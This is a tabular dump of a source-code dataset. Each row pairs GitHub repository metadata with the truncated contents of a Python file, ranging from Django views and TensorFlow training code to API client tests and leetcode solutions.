blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
777 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
⌀
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
⌀
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
⌀
gha_language
stringclasses
149 values
src_encoding
stringclasses
26 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
3
10.2M
extension
stringclasses
188 values
content
stringlengths
3
10.2M
authors
listlengths
1
1
author_id
stringlengths
1
132
8617b57d09f262218ed73471bcef2ab4f6c4b707
2f98aa7e5bfc2fc5ef25e4d5cfa1d7802e3a7fae
/python/python_21428.py
e339915f5b0af10835f11abf5951f7434629dad3
[]
no_license
AK-1121/code_extraction
cc812b6832b112e3ffcc2bb7eb4237fd85c88c01
5297a4a3aab3bb37efa24a89636935da04a1f8b6
refs/heads/master
2020-05-23T08:04:11.789141
2015-10-22T19:19:40
2015-10-22T19:19:40
null
0
0
null
null
null
null
UTF-8
Python
false
false
91
py
# Couldn't write image to file using AndroidViewClient vc.writeImageToFile("C:\image.png")
[ "ubuntu@ip-172-31-7-228.us-west-2.compute.internal" ]
ubuntu@ip-172-31-7-228.us-west-2.compute.internal
86fe239587a0df28388efa724d85f8df8c2d614f
18239524612cf572bfeaa3e001a3f5d1b872690c
/clients/oathkeeper/python/test/test_delete_rule_unauthorized.py
fdc1989ad60cebd1009e058791761aae6ffe62dd
[ "Apache-2.0" ]
permissive
simoneromano96/sdk
2d7af9425dabc30df830a09b26841fb2e8781bf8
a6113d0daefbbb803790297e4b242d4c7cbbcb22
refs/heads/master
2023-05-09T13:50:45.485951
2021-05-28T12:18:27
2021-05-28T12:18:27
371,689,133
0
0
Apache-2.0
2021-05-28T12:11:41
2021-05-28T12:11:40
null
UTF-8
Python
false
false
1,120
py
# coding: utf-8 """ ORY Oathkeeper ORY Oathkeeper is a reverse proxy that checks the HTTP Authorization for validity against a set of rules. This service uses Hydra to validate access tokens and policies. # noqa: E501 The version of the OpenAPI document: v0.0.0-alpha.1 Contact: hi@ory.am Generat...
[ "noreply@github.com" ]
simoneromano96.noreply@github.com
76cbcd52773eb26af701f292287580785287bdf7
8eba18f640337e924418ac33dabd48e029dad59d
/ensemble/core/constraint.py
bacaf46e6b771e7d1d0295fc37d4336e4531b09d
[ "Apache-2.0" ]
permissive
kapilt/ensemble
d776bd7d5163ce8dcf2f49e24264c9c8c9a0a529
8e1a83c767323b6b8403a671e1d090c4f523ca27
refs/heads/master
2021-03-19T10:25:11.063936
2015-04-09T09:10:36
2015-04-09T09:10:36
29,105,726
5
0
null
null
null
null
UTF-8
Python
false
false
2,973
py
import collections from model import CONTAINER_TYPES class ConstraintError(Exception): def __init__(self, msg, value): self.msg = msg self.value = value def __str__(self): return "%s: %r" % (self.msg, self.value) VALID_CONSTRAINTS = [ ("arch", basestring), ('mem', int), ...
[ "kapilt@gmail.com" ]
kapilt@gmail.com
96998048a014b2b2d27c26fd364464117d7d09ee
c9863fbc5523e93f5b3058506a2467b11937747c
/tests/test_store.py
c19d349b5b445c0810b9b9e964f1fb6f0b305ff8
[ "BSD-3-Clause" ]
permissive
kwhitley54/abaco
6e8650f20490c0fa1de476dc70197a898d1a61b1
90f8be328bed3c7242e798da384ddb15b1ffa179
refs/heads/master
2020-03-21T21:26:31.657721
2018-05-10T22:44:59
2018-05-10T22:44:59
139,063,130
0
0
BSD-3-Clause
2018-06-28T20:03:10
2018-06-28T20:03:09
null
UTF-8
Python
false
false
6,340
py
# Unit test suite for the RedisStore class. # This test suite now runs in its own docker container. To build the image, run # docker build -f Dockerfile-test -t abaco/testsuite . # from within the tests directory. # # To run the tests execute, first start the development stack using: # 1. export abaco_path=$(pwd) ...
[ "jstubbs@tacc.utexas.edu" ]
jstubbs@tacc.utexas.edu
740ea9095b5cd579113b7f5aac443421c468cca0
a69221e36e7e0e3dc772994ad743d848be0a2b19
/server/d1/vine_comment/views.py
991ab61a7fbf927d6e9150ba1bf17257dec5cfaf
[]
no_license
cloundpig/vine
033cbcea37f207f7951d05727f60d426a51a6683
8adda1a027356dffa9bee961c57314637509971a
refs/heads/master
2020-12-28T19:22:42.267192
2014-02-21T13:37:46
2014-02-21T13:37:46
null
0
0
null
null
null
null
UTF-8
Python
false
false
8,062
py
#coding:utf-8 # python modules from urlparse import urlparse import datetime import base64 import logging # django modules from django.http import * from django.shortcuts import render from django.views.generic import * from django.core.paginator import Paginator from django.utils.timezone import utc from django.view...
[ "geekan@foxmail.com" ]
geekan@foxmail.com
3fe56973331c9695ade9251630a9f7f3e90afb8a
d47566b595e23b32ec175dd217c91564e0ac4be2
/supervised_learning/0x03-optimization/3-mini_batch.py
c59aeade76c8adce09bd0be705844240fed629c9
[]
no_license
jhonatang1988/holbertonschool-machine_learning
adf2ed1c6bb537b5430912f5c320ea998818841d
a381edc7c843abb6458d5a70ae91d4f6823c176b
refs/heads/master
2022-10-31T15:27:20.620534
2020-06-19T19:47:38
2020-06-19T19:47:38
256,102,729
0
0
null
null
null
null
UTF-8
Python
false
false
4,085
py
#!/usr/bin/env python3 """ that trains a loaded neural network model using mini-batch gradient descent: """ import tensorflow as tf shuffle_data = __import__('2-shuffle_data').shuffle_data """ returns a mini batch """ def iterate_mini_batches(X, Y, batch_size): """ to get the mini_batch :param X: input...
[ "jhonatan1988@gmail.com" ]
jhonatan1988@gmail.com
2f747f700d9be74b30676ee56289ca41b145d25a
2a6e513b6b01b8c67767efbc471b384aca704170
/configs/yolo/rr_yolov5_416_coco.py
ff30c05dea99e8722d86dcfddbf4c46f56cb945c
[ "MIT" ]
permissive
wulele2/mmdetection-mini
a1bc084ead074ab4845f539f5a34c566c4214c83
f28d3d5de3bd25e9e62910b35f282d5c8d22dd10
refs/heads/master
2022-12-17T15:49:34.404141
2020-09-23T06:58:28
2020-09-23T06:58:28
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,844
py
_base_ = './rr_yolov3_d53_416_coco.py' # model settings _yolo_type = 0 # 0=5s 1=5m 2=5l 3=5x if _yolo_type == 0: _depth_multiple = 0.33 _width_multiple = 0.5 elif _yolo_type == 1: _depth_multiple = 0.67 _width_multiple = 0.75 elif _yolo_type == 2: _depth_multiple = 1.0 _width_multiple = 1.0 el...
[ "pi@pi.com" ]
pi@pi.com
b3a20c0925eb7fe917ed93aae5addefb8bc38278
ad5d38fce4785037c108186f17eb1c64380355ef
/sddsd/google-cloud-sdk/lib/googlecloudsdk/third_party/apis/cloudresourcemanager/v1/cloudresourcemanager_v1_messages.py
1f0765c38c91a9834368b90215abfed32a7f6dcb
[ "LicenseRef-scancode-unknown-license-reference", "Apache-2.0" ]
permissive
saranraju90/multik8s
75864b605a139ddb7947ed4de4ae8466bdd49acb
428576dedef7bb9cd6516e2c1ab2714581e1137c
refs/heads/master
2023-03-03T21:56:14.383571
2021-02-20T14:56:42
2021-02-20T14:56:42
339,665,231
0
0
null
null
null
null
UTF-8
Python
false
false
81,825
py
"""Generated message classes for cloudresourcemanager version v1. Creates, reads, and updates metadata for Google Cloud Platform resource containers. """ # NOTE: This file is autogenerated and should not be edited by hand. from __future__ import absolute_import from apitools.base.protorpclite import messages as _mes...
[ "saranraju90@gmail.com" ]
saranraju90@gmail.com
6b64cf29f72993546e63422981ed1d4101f4ee57
83de24182a7af33c43ee340b57755e73275149ae
/aliyun-python-sdk-cdn/aliyunsdkcdn/request/v20180510/DescribeDomainISPDataRequest.py
a4ea0203216352e497f8983e691a0a242b229660
[ "Apache-2.0" ]
permissive
aliyun/aliyun-openapi-python-sdk
4436ca6c57190ceadbc80f0b1c35b1ab13c00c7f
83fd547946fd6772cf26f338d9653f4316c81d3c
refs/heads/master
2023-08-04T12:32:57.028821
2023-08-04T06:00:29
2023-08-04T06:00:29
39,558,861
1,080
721
NOASSERTION
2023-09-14T08:51:06
2015-07-23T09:39:45
Python
UTF-8
Python
false
false
1,827
py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
[ "sdk-team@alibabacloud.com" ]
sdk-team@alibabacloud.com
f1901061fc376c4f266bbb0b6987b0bf082dbdb3
ce76b3ef70b885d7c354b6ddb8447d111548e0f1
/person/person_or_week/world/company_and_early_world.py
873d3ef6bcb356f2e05de9862186086ee3f48dad
[]
no_license
JingkaiTang/github-play
9bdca4115eee94a7b5e4ae9d3d6052514729ff21
51b550425a91a97480714fe9bc63cb5112f6f729
refs/heads/master
2021-01-20T20:18:21.249162
2016-08-19T07:20:12
2016-08-19T07:20:12
60,834,519
0
0
null
null
null
null
UTF-8
Python
false
false
229
py
#! /usr/bin/env python def public_man(str_arg): ask_important_person(str_arg) print('ask_different_year_on_part') def ask_important_person(str_arg): print(str_arg) if __name__ == '__main__': public_man('way')
[ "jingkaitang@gmail.com" ]
jingkaitang@gmail.com
dd9a22cb732b22987aa8c1d793704908c284deba
e1dd6d9dccb822d472b7f4f9e8446dd9202eb5a1
/sdk/test/test_io_k8s_api_scheduling_v1alpha1_priority_class_list.py
91e6d3106823298778640877ac5eefe81f83d8da
[]
no_license
swiftdiaries/argo_client
8af73e8df6a28f9ea5f938b5894ab8b7825e4cc2
b93758a22d890cb33cbd81934042cfc3c12169c7
refs/heads/master
2020-05-17T12:11:57.556216
2019-07-24T23:23:33
2019-07-24T23:23:33
183,701,327
0
0
null
null
null
null
UTF-8
Python
false
false
1,094
py
# coding: utf-8 """ Argo API Client Generated python client for the Argo Workflows # noqa: E501 OpenAPI spec version: v1.14.0 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import unittest import argo.sdk from models.io_k8s_api_sch...
[ "adhita94@gmail.com" ]
adhita94@gmail.com
e938f0596354075f32ce3371a0b239e560c5d500
0a1a95fe0344c27197b677e8f8d1acc05a9813bd
/uiro/commands/create/template/+package+/matching.py
eb27085fe061198840c7e01232ee12962f614cc3
[ "MIT" ]
permissive
hirokiky/uiro
5ddaee966395512919016406c5ed18baed5cb68c
8436976b21ac9b0eac4243768f5ada12479b9e00
refs/heads/master
2023-04-27T00:57:13.953417
2013-11-09T02:15:57
2013-11-09T02:15:57
13,859,983
0
0
MIT
2023-04-15T15:13:52
2013-10-25T12:30:05
Python
UTF-8
Python
false
false
115
py
from matcha import Matching as m from .views import TopController matching = m('/', TopController(), name='top')
[ "hirokiky@gmail.com" ]
hirokiky@gmail.com
14b1f862b09f77dcf35003baaafb6a359bc77f29
87ddcf61c2faaaa795b9c25af334a76018337f62
/frictionless/steps/resource/resource_remove.py
eb33e75577b828ae7ca3f8379e6e6b24159fa9cf
[ "MIT" ]
permissive
frictionlessdata/frictionless-py
17d663ad34c18964113c97e4d657004610fe0df0
740319edeee58f12cc6956a53356f3065ff18cbb
refs/heads/main
2023-08-26T16:24:25.353929
2023-08-04T07:55:37
2023-08-04T07:55:37
28,409,905
295
79
MIT
2023-09-04T05:01:33
2014-12-23T17:11:11
Python
UTF-8
Python
false
false
1,004
py
from __future__ import annotations from typing import TYPE_CHECKING import attrs from ... import errors from ...exception import FrictionlessException from ...pipeline import Step if TYPE_CHECKING: from ...package import Package @attrs.define(kw_only=True, repr=False) class resource_remove(Step): """Remov...
[ "noreply@github.com" ]
frictionlessdata.noreply@github.com
9d828dee35c8ce44348f52b28e297da685673576
44d6a0a75d2429fb55f1c9ef587017af152b12e1
/setup.py
24487ad680c6fc90147459b0348b04c5b8f54242
[ "Apache-2.0" ]
permissive
awesome-python/sukhoi
2a5e689ff2ff65048555366c199c3061cf86cf04
699264bad6b6211c6c9a3b179bc71f90d3eddef0
refs/heads/master
2021-01-01T17:11:15.554601
2017-07-22T03:18:13
2017-07-22T03:18:13
null
0
0
null
null
null
null
UTF-8
Python
false
false
492
py
#! /usr/bin/env python2 from distutils.core import setup setup(name="sukhoi", version="0.0.6", py_modules=["sukhoi"], author="Iury O. G. Figueiredo", author_email="ioliveira@id.uff.br", url='https://github.com/iogf/sukhoi', download_url='https://github.com/iogf/sukhoi/releases', ...
[ "ioliveira.id.uff.br" ]
ioliveira.id.uff.br
6293c5d3fae175d66c7be868a6331f60a512330f
e3466d01359ce2ff9f3e3d63eb0971f56f9a0f3f
/tests/test_49.py
c381e7c1975f996dcdf5897f75dd39ea58612a80
[]
no_license
ruan65/python_algorithms_and_problem_solving
e58b683047f23a0b008fdf340a2a5c86811da0bb
96a34b07865a7251be849d3563fbe3fa7e7ee820
refs/heads/master
2023-01-08T23:34:28.385555
2020-11-10T00:01:58
2020-11-10T00:01:58
274,229,123
0
0
null
null
null
null
UTF-8
Python
false
false
245
py
from leetcode.hash_tables.a_49_group_anagrams import group_anagrams def test_find_pivot(): assert group_anagrams(["eat", "tea", "tan", "ate", "nat", "bat"]) is [ ["ate", "eat", "tea"], ["nat", "tan"], ["bat"] ]
[ "ruan65@gmail.com" ]
ruan65@gmail.com
b5297f884feaa246195f4c6df8087343c8288429
9f9f4280a02f451776ea08365a3f119448025c25
/plans/hsppw/qcut_hsp-s_005_base_dummyuniform_hs.py
9cfab912db9e9ac869ac5ce6caf8c2cfb5919b6e
[ "BSD-2-Clause" ]
permissive
dbis-uibk/hit-prediction-code
6b7effb2313d2499f49b2b14dd95ae7545299291
c95be2cdedfcd5d5c27d0186f4c801d9be475389
refs/heads/master
2023-02-04T16:07:24.118915
2022-09-22T12:49:50
2022-09-22T12:49:50
226,829,436
2
2
null
null
null
null
UTF-8
Python
false
false
1,802
py
"""Plan using all features.""" import os.path from dbispipeline.evaluators import CvEpochEvaluator from sklearn.pipeline import Pipeline from sklearn.preprocessing import MinMaxScaler import hit_prediction_code.common as common from hit_prediction_code.dataloaders import ClassLoaderWrapper from hit_prediction_code.da...
[ "mikevo-uibk@famv.net" ]
mikevo-uibk@famv.net
f156b4695c5b84c5de2a1a8cb1c318359848008f
5fea83c6ca1b31cfaf4a95888d876352cdd31355
/FA-env/bin/dotenv
9f9a76b21df9636be9b8d569a47f34c551806eef
[]
no_license
MarcoBurgos/FashionAdviser
3e0a6436bc89669f1ec6fbeb362ce6eb099c8d92
6d8419a7645cb289eb746c229873f791f1b47d61
refs/heads/master
2022-12-14T13:15:34.742233
2020-04-29T00:10:54
2020-04-29T00:10:54
165,940,741
0
0
null
2022-09-16T17:56:25
2019-01-15T23:41:18
Python
UTF-8
Python
false
false
267
#!/Users/marcoburgos/Desktop/website/The_Fashion_Adviser/FA-env/bin/python3 # -*- coding: utf-8 -*- import re import sys from dotenv.cli import cli if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit(cli())
[ "marko_burgos@gmail.com" ]
marko_burgos@gmail.com
d64737bce91629e7b7a94ff821b154bee5c61927
8472cda6d4848d9c99518167a6f7a649be4189a0
/tensorGaga.py
e001597089d17edfaa74c027ce0292542991b1bd
[]
no_license
ava11235/machineLearning
f40a63185cb56e9ddac13fc0e58d0fc4c20b7d5e
60ab80d105f1be16de76e54c9d895a4853cc717a
refs/heads/master
2022-05-27T03:01:30.313127
2020-05-04T00:46:08
2020-05-04T00:46:08
null
0
0
null
null
null
null
UTF-8
Python
false
false
7,776
py
import requests, pandas, io, numpy, argparse, math import numpy as np from nnutils import * from myutils import * from mpmath import * from gdsolvers import * import logging as log import inspect from sklearn.feature_selection import SelectKBest from sklearn.feature_selection import chi2 from sklearn.utils import shuff...
[ "doug.cha@gmail.com" ]
doug.cha@gmail.com
b68975ed6e68d2e215c70eecc0292d37029e4057
ceb71512952a2d3fb2c894463b7e92075ae521d6
/tests/masonry/builders/test_editable.py
07d14d28c9bf20f3f47a3531b24d8cff9011dd4b
[ "LGPL-2.1-only", "BSD-4-Clause", "LGPL-3.0-only", "GPL-2.0-or-later", "LGPL-2.1-or-later", "MIT", "GPL-3.0-only", "GPL-3.0-or-later", "LGPL-3.0-or-later", "BSD-3-Clause", "GPL-2.0-only", "Apache-2.0", "LicenseRef-scancode-free-unknown", "BSD-2-Clause" ]
permissive
kbakk/poetry
ca3f8ea74cd248595beddaf19132944982e1508c
be03ab9ea6d74ca8b9c6e251b71a8c608212dc63
refs/heads/master
2020-04-27T17:57:36.963334
2019-09-10T19:25:50
2019-09-10T19:25:50
174,546,643
0
0
MIT
2019-03-08T13:57:09
2019-03-08T13:57:09
null
UTF-8
Python
false
false
1,704
py
# -*- coding: utf-8 -*- from __future__ import unicode_literals from poetry.io import NullIO from poetry.masonry.builders import EditableBuilder from poetry.poetry import Poetry from poetry.utils._compat import Path from poetry.utils.env import MockEnv fixtures_dir = Path(__file__).parent / "fixtures" def test_buil...
[ "sebastien@eustace.io" ]
sebastien@eustace.io
883360b6ce70e81d971c560bac6cf63fb2c6c9aa
005d8a0b6ef8999dc7a7f4222932f9fa3c556304
/problem054.py
ea2ad3f9d499521f0f58a35e7226e3687653ab41
[]
no_license
Roc-J/jianzhioffer
dbb3c7dd05b5ebf0437987f636970ede805a7450
0d52a08a52a2d6283a71569cbfc307cf57e54db2
refs/heads/master
2020-03-08T03:25:13.486779
2018-04-07T07:05:35
2018-04-07T07:05:35
127,890,369
0
0
null
null
null
null
UTF-8
Python
false
false
530
py
#!/usr/bin/env python # -*- coding:utf-8 -*- # Author: qjk class Solution: # 返回对应char def __init__(self): self.s = '' self.d = dict() def FirstAppearingOnce(self): # write code here d = dict() for i in self.s: if self.d[i] == 1: return i...
[ "646481338@qq.com" ]
646481338@qq.com
8c4610a39b72ae3ae43690b931b8ba9f4f1f2d22
caf376f4cea37094718590f48296c24ff007a08e
/model.py
3347d55aa6a1cd8d3f04d146974a0ab04f02507d
[]
no_license
prdx/client-server-modelling
e874b88513057d4c705a6ebf82ef39af3713fe08
0b6380c91bef15ad86e557cc841ffae789da346f
refs/heads/master
2020-04-27T09:16:21.053318
2019-03-11T16:27:45
2019-03-11T16:27:45
174,207,602
0
0
null
null
null
null
UTF-8
Python
false
false
572
py
from sklearn.linear_model import LogisticRegression from sklearn.metrics import roc_curve class Model(): @staticmethod def train_and_test(X_train, X_test, y_train, y_test, c): classifier = LogisticRegression(C=c) clf = classifier.fit(X_train, y_train) probs = clf.predict_proba(X_test) ...
[ "astungkara.project@gmail.com" ]
astungkara.project@gmail.com
b53bbd98f2b6fc35a1feb2a2318ec5af909efb0c
b1b7206d4c8fb878e47bd2cd3a4e6b2a1f94cdc4
/hw3/code/WGAN/test.py
b59d0c66138daadb48ded2b355b82b6d06d20360
[]
no_license
vachelch/MLDS
a6752e2e568841841389e50e7750d658e2157c29
e4fcaeae3b8a63aaefbf07b9ca0c107e9601ad31
refs/heads/master
2020-05-04T23:08:00.507062
2019-04-04T16:56:23
2019-04-04T16:56:23
179,533,690
0
0
null
null
null
null
UTF-8
Python
false
false
209
py
from my_models import * import os import numpy as np from utils import * generator = Generator() generator = generator.cuda() generator.load_state_dict(torch.load('generator.pt')) save_imgs(generator)
[ "r06944043@ntu.edu.tw" ]
r06944043@ntu.edu.tw
443c5e0c01391d99b7dd61ec8902b9eaf39bf244
149baa65329d0e13ae3189b8127d2eff5f5fdf77
/bot_ws/build/baxter_pkg/rbt_baxter_interface/catkin_generated/pkg.installspace.context.pc.py
bacf6a48773a9bc8cd9f85ccedfe202d6d143dc4
[]
no_license
mtbthebest/imitation_learning
20b990aa7396fecbe5433c7703f353bf99fa5f2c
4c08192e31062f69056cc36efffb7a2ce0264244
refs/heads/master
2020-05-21T17:05:26.567273
2019-09-16T12:20:19
2019-09-16T12:20:19
186,111,790
2
0
null
null
null
null
UTF-8
Python
false
false
564
py
# generated from catkin/cmake/template/pkg.context.pc.in CATKIN_PACKAGE_PREFIX = "" PROJECT_PKG_CONFIG_INCLUDE_DIRS = "/home/mtb/sim_ws/bot_ws/install/include".split(';') if "/home/mtb/sim_ws/bot_ws/install/include" != "" else [] PROJECT_CATKIN_DEPENDS = "rospy;actionlib;sensor_msgs;std_msgs;control_msgs;trajectory_msg...
[ "mtbthebest11@gmail.com" ]
mtbthebest11@gmail.com
b0e15d37847e40e2d43012519edcc9fdec68eba6
51a5e2151ba547e19a4361a4fc90504f484766a0
/pubsub/pubsub_example.py
5b9588796c7d422e1b3a7e5b88df446140d90c79
[ "Unlicense" ]
permissive
pyxll/pyxll-examples
3370685c525912420b84614ac5b9819a37dbb863
4843c952201c6c60e11910cda24dd67ebe78ff26
refs/heads/master
2023-07-22T01:48:58.330009
2023-07-06T13:37:58
2023-07-06T13:37:58
16,145,984
101
61
Unlicense
2019-12-13T11:32:18
2014-01-22T17:09:38
Python
UTF-8
Python
false
false
1,474
py
""" Excel functions "publish" and "subscribe" for passing values between workbooks. An RTD function is used for subscribe so that published values are updated in read time. """ from pyxll import xl_func, RTD import pubsub class SubscriberRTD(RTD): """RTD class that updates whenever a value is published on a ...
[ "tony@pyxll.com" ]
tony@pyxll.com
b20f3312ae59e35e5f0129082949ca13651b5948
bd6fd6bb82bf3179a4571c7a2ca3a030f5684c5c
/mundo1-Fundamentos/033 - Maior e menor valores.py
f121d2d706e97423255c3fdba570d107417e4f2b
[ "MIT" ]
permissive
jonasht/CursoEmVideo-CursoDePython3
b3e70cea1df9f33f409c4c680761abe5e7b9e739
a1bbf1fe4226b1828213742ee5a440278d903fd1
refs/heads/master
2023-08-27T12:12:38.103023
2021-10-29T19:05:01
2021-10-29T19:05:01
276,724,139
0
0
null
null
null
null
UTF-8
Python
false
false
481
py
#Exercício Python 033: Faça um programa que leia três números e mostre qual é o maior e qual é o menor. n1 = int(input('qual n 1:')) n2 = int(input('qual n 2:')) n3 = int(input('qual n 3:')) # maior if n1 > n2 and n1 > n3: nm = n1 elif n2 > n3: nm = n2 else: nm = n3 # N menor if n1 < n2 and n1 ...
[ "jhenriquet@outlook.com.br" ]
jhenriquet@outlook.com.br
ebc9dec6fd5ef7c0ef281d04b983e67f5116ee2b
8cbe4f97176a01d6a64ab33e32ad9896a0266670
/anna_code/postprocessing/tally_vars_by_activity_QC.py
7781b47c32600b7bbf87ade0c29da09fd679f81c
[]
no_license
HongyuanWu/ukbb-1
33228c189acad5f28d3d892f761ebc6a29627c38
b52a431c0d35f4a5d49b0541a42a4a840d086e02
refs/heads/master
2022-03-31T04:13:55.367963
2020-01-21T20:50:54
2020-01-21T20:50:54
null
0
0
null
null
null
null
UTF-8
Python
false
false
366
py
data=open("top_snps_activity_merged.annotations",'r').read().strip().split('\n') hits=dict() for line in data[1::]: tokens=line.split('\t') snp=tokens[0] features=tokens[4].split(',') for f in features: if f not in hits: hits[f]=1 else: hits[f]+=1 for key in hits:...
[ "annashcherbina@gmail.com" ]
annashcherbina@gmail.com
2bfa0ce9c59b305fc35a0ff7a9446b4ae5b3a3c2
5bce1118b13289308d23510f323c79aa972ddc27
/tests/nsadmin/test_Others.py
e22c83c34ca74415c9300b6ee043be64be6f04f1
[]
no_license
anupsl/pyApps
62b64b90723de32684bbabee402220317a4fe817
2651d502c366b87449a0c977a9876cc32521c57c
refs/heads/master
2022-07-03T05:49:12.828630
2020-05-10T17:25:26
2020-05-10T17:25:26
255,157,123
0
0
null
null
null
null
UTF-8
Python
false
false
2,559
py
import pytest, time from src.Constant.constant import constant from src.utilities.logger import Logger from src.modules.nsadmin.nsadminObject import NSAdminObject from src.modules.nsadmin.nsadminHelper import NSAdminHelper from src.utilities.assertion import Assertion from src.utilities.dbhelper import dbHelper clas...
[ "anup@CAP-LAP-450.local" ]
anup@CAP-LAP-450.local
8d7563a031d30b049fcbaf5250b26cb087d3c079
01431aec3d6084b77faa62eae962c3a5ce07621a
/leetcode105_从前序与中序遍历序列构造二叉树.py
202d375ee0e42ca3f5356c05facbc5a07fc358a5
[]
no_license
jiyali/python-target-offer
e952cc77b0b3c4e4c77f5b9f67ef61bd7413354c
214176b25caffea647f87bf816d3d712293c7c7f
refs/heads/master
2020-07-29T05:53:57.930631
2020-05-13T15:04:08
2020-05-13T15:04:08
209,690,069
0
1
null
null
null
null
UTF-8
Python
false
false
825
py
# 根据一棵树的前序遍历与中序遍历构造二叉树。 # # 注意: # 你可以假设树中没有重复的元素。 # # 例如,给出 # # 前序遍历 preorder = [3,9,20,15,7] # 中序遍历 inorder = [9,3,15,20,7] # 返回如下的二叉树: # # 3 # / \ # 9 20 # / \ # 15 7 class TreeNode: def __init__(self, val): self.left = None self.right = None self.val = val class So...
[ "762115542@qq.com" ]
762115542@qq.com
5099c2dc80a09516d3c1328df48b2764a0844eb4
70fa6468c768d4ec9b4b14fc94fa785da557f1b5
/lib/surface/genomics/variants/__init__.py
08b432904c8af9977206806de963c5e199adca65
[ "LicenseRef-scancode-unknown-license-reference", "Apache-2.0" ]
permissive
kylewuolle/google-cloud-sdk
d43286ef646aec053ecd7eb58566ab2075e04e76
75f09ebe779e99fdc3fd13b48621fe12bfaa11aa
refs/heads/master
2020-04-20T22:10:41.774132
2019-01-26T09:29:26
2019-01-26T09:29:26
169,131,028
0
0
NOASSERTION
2019-02-04T19:04:40
2019-02-04T18:58:36
Python
UTF-8
Python
false
false
952
py
# -*- coding: utf-8 -*- # # Copyright 2015 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requir...
[ "cloudsdk.mirror@gmail.com" ]
cloudsdk.mirror@gmail.com
4e3d1907bb316b670826da9ac10338ce10d5d3b5
1498148e5d0af365cd7fd16197174174a7fa9800
/leetcode/t000053_2.py
4ee38bb2d8417261c6a6afe2dc5f48d18c829cbc
[]
no_license
feiyanshiren/myAcm
59a2b80fe7e02787defcb152eee3eae26135322a
00c7082d5143ddf87aeeafbdb6ce29da46dc8a12
refs/heads/master
2023-09-01T12:12:19.866447
2023-09-01T09:09:56
2023-09-01T09:09:56
148,560,672
0
0
null
null
null
null
UTF-8
Python
false
false
263
py
class Solution(object): def maxSubArray(self, nums): """ :type nums: List[int] :rtype: int """ for i in range(1, len(nums)): nums[i]= nums[i] + max(nums[i-1], 0) return max(nums)
[ "feiyanshiren@163.com" ]
feiyanshiren@163.com
d7e48fdcd763b3de49b3c65e41de3fd3ab4cebf3
ec74264a844df78b9ca4e4b30a345333a1bff67e
/core/migrations/0017_auto_20191101_1511.py
26c462e656f6992f707291691ff933bb394971f3
[]
no_license
vo0doO/shop-django-low-api
56b834cd96625e9b9c129b63931a500560257fbc
31c47f85d5cbcc0a56fdf37ce4be37cf6fd3f260
refs/heads/master
2022-12-08T17:46:26.650892
2022-01-07T05:15:10
2022-01-07T05:15:10
239,268,021
0
0
null
2022-12-08T05:26:12
2020-02-09T08:02:49
JavaScript
UTF-8
Python
false
false
428
py
# Generated by Django 2.2.4 on 2019-11-01 12:11 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('core', '0016_auto_20191101_1504'), ] operations = [ migrations.RemoveField( model_name='robo', name='OutSum', ), ...
[ "kirsanov.bvt@gmail.com" ]
kirsanov.bvt@gmail.com
066f42d940802986626639b7ed910f16b77441d1
94a2c4417c1fdd8577a75b09a17912ebae129e6c
/ramda/clone.py
5e8dce89ea948ae7fa57ad08440e43aeccf59317
[ "MIT" ]
permissive
slavaGanzin/ramda.py
ad88a3cf6e7eb1461d4a09aad35ae1c18ca32db8
634bfbe0dcb300315ded327756cb3e33241589b8
refs/heads/master
2023-01-23T04:43:48.485314
2023-01-06T10:11:53
2023-01-06T10:11:53
142,413,822
68
7
MIT
2021-12-22T13:59:56
2018-07-26T08:43:31
Python
UTF-8
Python
false
false
291
py
import copy def clone(v): """Creates a deep copy of the value which may contain (nested) Arrays and Objects, Numbers, Strings, Booleans and Dates. Functions are assigned by reference rather than copied Dispatches to a clone method if present""" return copy.deepcopy(v)
[ "slava.ganzin@gmail.com" ]
slava.ganzin@gmail.com
da640d0b089d1eadb8045bcba0f38aa1d7c2532c
be2218324cc88daf27053262749a4ebb6b963403
/clustering/__init__.py
4a039b642c7b9579f49918579f5d8247f1eac3de
[]
no_license
imjwpak/tensor_mlearn
06bc003199530896885a9fb08f2b98fa3c770f1f
dce16f642dcdd23b81fd9e2811b6216b5ef45442
refs/heads/master
2020-07-21T14:41:48.346389
2019-09-07T09:27:30
2019-09-07T09:27:30
206,898,329
0
0
null
null
null
null
UTF-8
Python
false
false
361
py
import mglearn import matplotlib.pyplot as plt mglearn.plots.plot_knn_regression(n_neighbors=1) # 점들을 한 곳으로 회귀 시켜 군집을 만듬. 가까운 곳으로 모은다고 보면 됨. #mglearn.plots.plot_knn_classification() # 산점도 등에서 카테고리화하여 군집 만듬. # 이웃한 값(nn)이 1일 때 알고리즘 plt.show()
[ "imjwpak83@naver.com" ]
imjwpak83@naver.com
9826f211d3f884b33fa25a3b30777346957d51ad
39d2dc8d049870b02bb0f4a31eacca97db72ed91
/PasswordGenerator.py
e7c2b0c6115b9ed93f11745634849968deea61c7
[]
no_license
hellohaoyu/codeEveryDay
41f5e68e195d0ed967c02d48f78d147ed45ab1ff
d8b2ccd87cf12d4e4924f95965bc9b92d955fc45
refs/heads/master
2018-09-30T21:33:45.165171
2018-07-24T17:10:59
